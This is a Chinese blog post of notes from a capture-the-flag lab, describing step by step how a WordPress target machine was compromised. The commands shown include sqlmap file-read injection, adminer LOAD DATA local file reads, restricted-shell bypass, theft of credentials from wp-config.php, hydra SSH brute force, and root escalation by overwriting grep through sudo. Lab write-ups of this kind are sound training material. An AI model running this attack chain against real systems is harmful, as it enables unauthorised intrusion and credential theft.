ximai靶场学习笔记

正文

kali攻击机地址:192.168.1.4

靶场地址:192.168.1.7

1、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.1.7

看到22、80、3306、8000端口是开放的。访问8000端口,是一个wordpress系统

2、漏洞扫描

扫描这个系统是否存在什么插件漏洞:

bash 复制代码
wpscan --url http://192.168.1.7:8000/ --plugins-detection aggressive

这里我没有申请API,没拿到漏洞信息,后面知道是sql注入。

3、jimmy用户权限获取

方法(1):sqlmaq注入

在kali里,通过sqlmap注入测试,最后能拿到一个jimmy.txt的文件:

bash 复制代码
sqlmap -u 'http://192.168.1.7:8000/wp-admin/admin-ajax.php?s=test*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index' --batch --file-read '/etc/jimmy.txt'

cat这个文件,拿到密码:

方法(2):Mysql命令执行漏洞利用

使用gobuster工具扫描:

bash 复制代码
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://192.168.1.7 -x.php

扫出来3个页面,adminer.php、info.php、reminder.php

打开info.php,可以发现靶场所用系统版本、php版本、用户身份及权限、当前文件的目录:


打开reminder.php ,没收获:

打开adminder.php ,发现mysql数据库连接表:

kali里修改本地Mysql配置:

bash 复制代码
vi /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address =0.0.0.0
:wq!
service mariadb start
mysql -uroot -p

进入数据库里操作:

sql 复制代码
show databases;
create database test;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.1.7' IDENTIFIED BY '123456';
# MariaDB/MySQL 默认只允许 localhost(本机)连接,你的客户端 IP(192.168.1.7)不在服务器的权限列表里,所以会被拒绝访问
#因此,要加一条命令,允许该 IP 访问所有数据库,密码一定要配置
FLUSH PRIVILEGES;
# 刷新权限(必须执行,否则授权不生效)

验证一下是否允许远程登录:

bash 复制代码
SELECT user, host FROM mysql.user;

看到root用户及靶场IP添加到本地MYSQL访问列表里了,快捷键CTRL+D退出数据库。在网页里,访问数据库:

创建一张名字叫 x 的表,表里只有 1 个字段,名字叫 output,类型是文本,最长存 1024 个字符:

sql 复制代码
create table x(output varchar(1024));

等待执行成功:

jimmy.txt 里的每一行文字,一行一行存进表 xoutput 字段里。然后,把表 x 里面 所有的行、所有的列 全部查询、显示出来:

sql 复制代码
show tables;
load data local infile '/etc/jimmy.txt' into table x;
select * from x;

拿到用户jimmy的密码:

4、靶机命令限制绕过

查看一下,盲猜HandsomeHU是用户名jimmy 的密码,登录一手:

登录上去,发现不允许使用ls命令,有点意思:

查看环境变量(尝试绕限制):

bash 复制代码
echo $PATH

输出 ./...:说明 PATH 被篡改或限制了 ------ 正常 PATH 会是 /usr/bin:/bin 这类路径,现在只有 ./(当前目录),这也是为什么直接输 ls 会被拦(系统找不到合法的 ls 命令路径)。

方法(1):绝对路径绕过

用绝对路径执行 ls(绕过限制):

bash 复制代码
/bin/ls -al
方法(2):从本地重新SSH登录,强制进入sh壳

用绝对路径执行 ls(绕过限制):

bash 复制代码
ssh jimmy@192.168.1.7 -t sh

5、数据库代码审计

bash 复制代码
cd /var/www/wordpress
cat wp-config.php

拿到数据库密码:

进入数据库:

使用数据库查询:

sql 复制代码
use wordpress;
show tables;
select * from wp_users;

发现用户和凭证等关键信息:

6、用户名密码爆破

凭证解不开,还是爆破用户名对应的密码吧:

bash 复制代码
hydra -l adminer -P pass.txt ssh://192.168.1.7 -V -I

替换grep文件为bash文件:

bash 复制代码
ls -l /usr/bin/grep
echo bash > /usr/bin/grep
sudo /usr/bin/grep

最终拿到大权限。

PS:其他知识

  • 想要在靶场上执行脚本,直接修改 linpeas.sh 文件,把文件里所有的 grep 字符串,全部替换成 egrep

    bash 复制代码
    sed -i 's/grep/egrep/g' 'linpeas.sh'
    1. sed:
      Linux 系统里的文本处理工具,全称 "Stream Editor"(流编辑器),专门用来快速修改 文本内容(替换、删除、新增行等)。
    2. -i:
      sed 的核心参数 → 直接修改文件本身(in-place)。
      ⚠️ 重点:不加 -i 的话,sed 只会在屏幕上显示修改后的效果,不会真的改文件;加了 -i 才会直接改文件内容(执行前建议备份文件!)。
    3. 's/grep/egrep/g':
      这是 sed 的替换规则,格式是 s/旧内容/新内容/替换范围
      s → substitute(替换)的缩写,固定开头;
      grep → 要被替换的旧字符串;
      egrep → 替换后的新字符串;
      g → global(全局)的缩写,表示一行里所有匹配的 grep 都替换(不加 g 只会替换每行第一个 grep)。
    4. 'linpeas.sh'
      要修改的目标文件(linpeas.sh 是 Linux 提权枚举的常用脚本)。
  • 精准匹配字典中独立的「creds」关键词:

    bash 复制代码
    grep -Pnr '^creds$' /usr/share/seclists/Discovery/Web-Content
部分 含义说明(对比普通 grep 重点讲差异)
-P 启用 Perl 正则表达式(支持 ^/$ 等锚点符号);
-n 显示匹配行的行号 (输出里的 470:/9672: 就是行号);
-r 递归搜索目标目录下的所有文件(包括子目录,比如 /api/ 子目录);
'^creds$' 核心:正则精准匹配 (这是和普通 grep creds 最大的区别) - ^:行首锚点(表示一行的开始) - $:行尾锚点(表示一行的结束) - 组合含义:只匹配「整行只有 creds 这一个词」的行 (不会匹配 creds123/admin_creds/creds.php 这类包含 creds 但有其他字符的行);
/usr/share/seclists/Discovery/Web-Content 目标路径:Kali 内置的 Seclists 字典库的 Web 目录。
相关推荐
疯狂打码的少年40 分钟前
编译程序与解释程序的区别
java·开发语言·笔记
数智工坊8 小时前
机器人运动控制:采样、优化与学习三大流派深度对比与实战
android·学习·机器人
ZC跨境爬虫9 小时前
跟着 MDN 学JavaScript day_7:数学运算与逻辑判断实战测试
开发语言·前端·javascript·学习·ecmascript
故渊at10 小时前
第二板块:Android 四大组件标准化学理 | 第八篇:Service 后台执行实体与优先级
android·gitee·service·前台服务·后台服务
会Tk矩阵群控的小木10 小时前
安卓群控系统对于游戏工作室实战教程
android·运维·游戏·adb·开源软件·个人开发
MartinYeung511 小时前
[论文学习]隐私保护联邦特徵选择与差分隐私的的工程实践框架
学习
qeen8711 小时前
【C++】类与对象之类的默认成员函数(二)
android·c语言·开发语言·c++·笔记·学习
故渊at12 小时前
第二板块:Android 四大组件标准化学理 | 第九篇:BroadcastReceiver 事件分发与有序广播
android·gitee·broadcast·广播·动态注册·静态注册
m0_7360348512 小时前
存储基础和虚拟化
笔记